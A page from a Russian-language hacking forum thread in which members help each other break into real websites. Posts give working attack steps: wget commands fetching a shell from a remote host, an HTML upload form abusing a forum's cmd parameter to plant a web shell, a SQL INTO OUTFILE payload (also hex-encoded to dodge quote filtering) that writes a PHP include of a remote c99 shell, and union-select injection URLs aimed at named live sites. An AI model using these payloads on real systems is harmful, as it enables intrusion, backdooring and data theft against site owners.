Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
Page 391 of 1207
  1. +++AndreyDevil+++

    +++AndreyDevil+++ Member

    Joined:
    28 Dec 2008
    Messages:
    117
    Likes Received:
    30
    Reputations:
    0
    я пробовал c madnet.name, freehostia, и со своих шеллов, не хочет что то
     
    #7801 +++AndreyDevil+++, 30 Jun 2009
  2. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Ну для начала можно научится юзать wget:
    wget http://site.ru/1.txt -O shell.php - это сохранит скаченный файл с указанным именем
    а не:
    wget http://site.ru/1.txt -o shell.php - это поместит лог работы в указанный файл

    Только если хост тормознутый, то это не лучший способ - загрузи аватарку с шеллом, а потом просто поменяй расширение на пхп.
     
    #7802 Grey, 30 Jun 2009
  3. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    врятли) разницы не вижу даже при substring'e
     
    _________________________
    #7803 HAXTA4OK, 30 Jun 2009
  4. +++AndreyDevil+++

    +++AndreyDevil+++ Member

    Joined:
    28 Dec 2008
    Messages:
    117
    Likes Received:
    30
    Reputations:
    0
    в данном случае нельзя грузить аватары, chmod на аватарки и images, cache, и все другое, доступны для записи только папки в корне сайта, но при
    wget http://site.ru/1.txt -O shell.php , просто создается пустой файл нечего не качается....
     
    #7804 +++AndreyDevil+++, 30 Jun 2009
  5. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    cmd=copy('site/shell.txt', 'полный путь до папки drwrwrw/shell.php');

    а чем тебе так не лучше?
     
    _________________________
    #7805 HAXTA4OK, 30 Jun 2009
  6. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    HAXTA4OK, а толку? если у него хост не конектиться к другим серверам, что при wget'e что при copy результат будет один и тот же
     
    #7806 Spyder, 30 Jun 2009
  7. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    А форму для загрузки не судьба использовать?

    Локально такуйю форму:

    Code:
    <form action=http://site.com/forum/profile.php?mode=editprofile&cmd=copy($_FILES[file][tmp_name],$_GET[aa]);&aa=/var/www/images/tyrytrytr.php
 method=post enctype=multipart/form-data>
<input type=file name=file><br> 
<input type=submit value=Загрузить><br>
</form>
    только предварительно сидеть у себя в браузере зарегенным на форуме в едит профайле и открывать эту форму в том же браузере, ибо куки. С сразу грузить с компа нормальный шелл
     
    #7807 Pashkela, 30 Jun 2009
    2 people like this.
  8. jecka3000

    jecka3000 Elder - Старейшина

    Joined:
    15 Mar 2008
    Messages:
    360
    Likes Received:
    54
    Reputations:
    4
    как можно использовать то, что при подстановке кавычки появляется следующее:

    Server Error in '/inclub' Application.
    Input string was not in a correct format.
    Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

    Exception Details: System.FormatException: Input string was not in a correct format.

    Source Error:
    An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.


    Stack Trace:

    [FormatException: Input string was not in a correct format.]
    System.Number.ParseInt32(String s, NumberStyles style, NumberFormatInfo info) +0
    InClub.Allegati.Page_Load(Object sender, EventArgs e) +95
    System.Web.UI.Control.OnLoad(EventArgs e) +67
    System.Web.UI.Control.LoadRecursive() +35
    System.Web.UI.Page.ProcessRequestMain() +750

    или это:

    Server Error in '/' Application.
    Input string was not in a correct format.
    Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

    Exception Details: System.FormatException: Input string was not in a correct format.

    Source Error:

    Line 35: private void PopulateDetails()
    Line 36: {
    Line 37: int intCompanyID = int.Parse(Request.QueryString["CompanyID"]);
    Line 38: //int intCompanyID = 20;
    Line 39: CompanyHandler objHandler = new CompanyHandler();


    Source File: c:\ICMAWebsite\CMSWebParts\Viewers\CompanyDetailsReadOnlyView.ascx.cs Line: 37

    Stack Trace:

    [FormatException: Input string was not in a correct format.]
    System.Number.StringToNumber(String str, NumberStyles options, NumberBuffer& number, NumberFormatInfo info, Boolean parseDecimal) +7471335
    System.Number.ParseInt32(String s, NumberStyles style, NumberFormatInfo info) +119
    System.Int32.Parse(String s) +23
    CMSWebParts_Viewers_CompanyDetailsReadOnlyView.PopulateDetails() in c:\ICMAWebsite\CMSWebParts\Viewers\CompanyDetailsReadOnlyView.ascx.cs:37
    CMSWebParts_Viewers_CompanyDetailsReadOnlyView.Page_Load(Object sender, EventArgs e) in c:\ICMAWebsite\CMSWebParts\Viewers\CompanyDetailsReadOnlyView.ascx.cs:25
    System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e) +14
    System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) +35
    System.Web.UI.Control.OnLoad(EventArgs e) +99
    CMS.PortalControls.CMSAbstractWebPart.OnLoad(EventArgs e) +212
    System.Web.UI.Control.LoadRecursive() +50
    System.Web.UI.Control.LoadRecursive() +141
    System.Web.UI.Control.LoadRecursive() +141
    System.Web.UI.Control.LoadRecursive() +141
    System.Web.UI.Control.LoadRecursive() +141
    System.Web.UI.Control.LoadRecursive() +141
    System.Web.UI.Control.LoadRecursive() +141
    System.Web.UI.Control.LoadRecursive() +141
    System.Web.UI.Control.LoadRecursive() +141
    System.Web.UI.Control.LoadRecursive() +141
    System.Web.UI.Control.LoadRecursive() +141
    System.Web.UI.Control.LoadRecursive() +141
    System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +627
     
    #7808 jecka3000, 30 Jun 2009
    Last edited: 30 Jun 2009
  9. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    Input string was not in a correct format.
    строка не в том формате,там нет скули.
    >>как можно использовать то?
    увидешь пару строчек кода:
    Code:
    Line 35: private void PopulateDetails()
Line 36: {
Line 37: int intCompanyID = int.Parse(Request.QueryString["CompanyID"]);
Line 38: //int intCompanyID = 20;
Line 39: CompanyHandler objHandler = new
    и директорию:
    Code:
    c:\ICMAWebsite\CMSWebParts\Viewers\CompanyDetailsR eadOnlyView.ascx.cs Line: 37
     
    #7809 L I G A, 30 Jun 2009
  10. +++AndreyDevil+++

    +++AndreyDevil+++ Member

    Joined:
    28 Dec 2008
    Messages:
    117
    Likes Received:
    30
    Reputations:
    0
    я чего то не понимаю наверное :)

    правлю сурс страницы, выбираю, гружу, шелла нет
     
    #7810 +++AndreyDevil+++, 30 Jun 2009
  11. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    ))) какой сурс еще?:))) То, что я назвал форма, создай на рабочем столе, обзови 123.html и запусти в том же браузере, где ты УЖЕ сидишь зарегенный на форуме

    ЗЫЖ Скопируй код в блокнот, сохрани как 123.txt и переименуй в 123.html, щелкни два раза по файлу мышкой и загружай шелл. Форм экшион сама перенаправит тебя туда, куда нужно

    Ах да, вместо site.com вставь реальное название:))
     
    #7811 Pashkela, 30 Jun 2009
    Last edited: 30 Jun 2009
    1 person likes this.
  12. +++AndreyDevil+++

    +++AndreyDevil+++ Member

    Joined:
    28 Dec 2008
    Messages:
    117
    Likes Received:
    30
    Reputations:
    0
    я только что сейчас так сделал)) не получилось))
     
    #7812 +++AndreyDevil+++, 30 Jun 2009
  13. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Тогда по обстоятельствам. Всякое бывает. Надо смотреть

    ЗЫЖ В личку ничего не слать

    А у тебя хоть phpinfo(); хотя бы выводит?
     
    #7813 Pashkela, 1 Jul 2009
    Last edited: 1 Jul 2009
  14. +++AndreyDevil+++

    +++AndreyDevil+++ Member

    Joined:
    28 Dec 2008
    Messages:
    117
    Likes Received:
    30
    Reputations:
    0
    да, выводит)
    там еще phpmyadmin, но при
    PHP:
    select '<? @include("http://madnet.name/files/download/9_c99madshell.php"); ?>' into outfile '/var/www/images/323232323232.php';
    он мне

    Code:
    SQL query:     SELECT '&lt;? @include("http://madnet.name/files/download/9_c99madshell.php"); ?&gt;'  INTO OUTFILE '/var/www/images/323232323232.php'
#1064 - You have an error in your SQL syntax.  Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
    так же все, ковычки
     
    #7814 +++AndreyDevil+++, 1 Jul 2009
    Last edited: 1 Jul 2009
  15. jecka3000

    jecka3000 Elder - Старейшина

    Joined:
    15 Mar 2008
    Messages:
    360
    Likes Received:
    54
    Reputations:
    4
    еще раз прошу помощи, а именно в поиске названий таблиц и столбцов в 4-ой версии mysql, вот линк _http://www.deyla.com/p_daelenco.php?id_sito=-1+union+select+1, ???? ,3,4,5,6,7,8,9,10,11+from+ ??? --
     
    #7815 jecka3000, 1 Jul 2009
  16. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    select 0x3c3f2040696e636c7564652822687474703a2f2f6d61646e65742e6e616d652f66696c65732f646f776e6c6f61642f395f6339396d61647368656c6c2e70687022293b203f3e into outfile '/var/www/images/323232323232.php';
     
    #7816 Pashkela, 1 Jul 2009
  17. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    брут, например c помощью SIPT4
     
    #7817 Pashkela, 1 Jul 2009
  18. Ded MustD!e

    Ded MustD!e Banned

    Joined:
    23 Aug 2007
    Messages:
    392
    Likes Received:
    694
    Reputations:
    405
    нет
     
    #7818 Ded MustD!e, 1 Jul 2009
    1 person likes this.
  19. pelligrim

    pelligrim Elder - Старейшина

    Joined:
    26 Apr 2008
    Messages:
    31
    Likes Received:
    20
    Reputations:
    0
    Народ. Помогите раскрутить скулю.
    HTML:
    http://www.berline.kiev.ua/?id=5
    делаю запрос +union+select+1 - выводит ошибку бла-бла-бла different number of columns.
    Прочитал про нее в большом FAQе jokester'a, но всеравно как-то "широко глаза" на этот трабл не открыло.
    зы Если не трудно, то можно показать по подробнее на данном примере как добиться вывода запроса.
     
    #7819 pelligrim, 1 Jul 2009
  20. Ded MustD!e

    Ded MustD!e Banned

    Joined:
    23 Aug 2007
    Messages:
    392
    Likes Received:
    694
    Reputations:
    405
    http://www.berline.kiev.ua/?id=-1+union+select+version()--+

    там 1 колонка, вывод в тайтле, смотри внимательней...
     
    #7820 Ded MustD!e, 1 Jul 2009
    1 person likes this.
(You must log in or sign up to post here.)
Page 391 of 1207
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.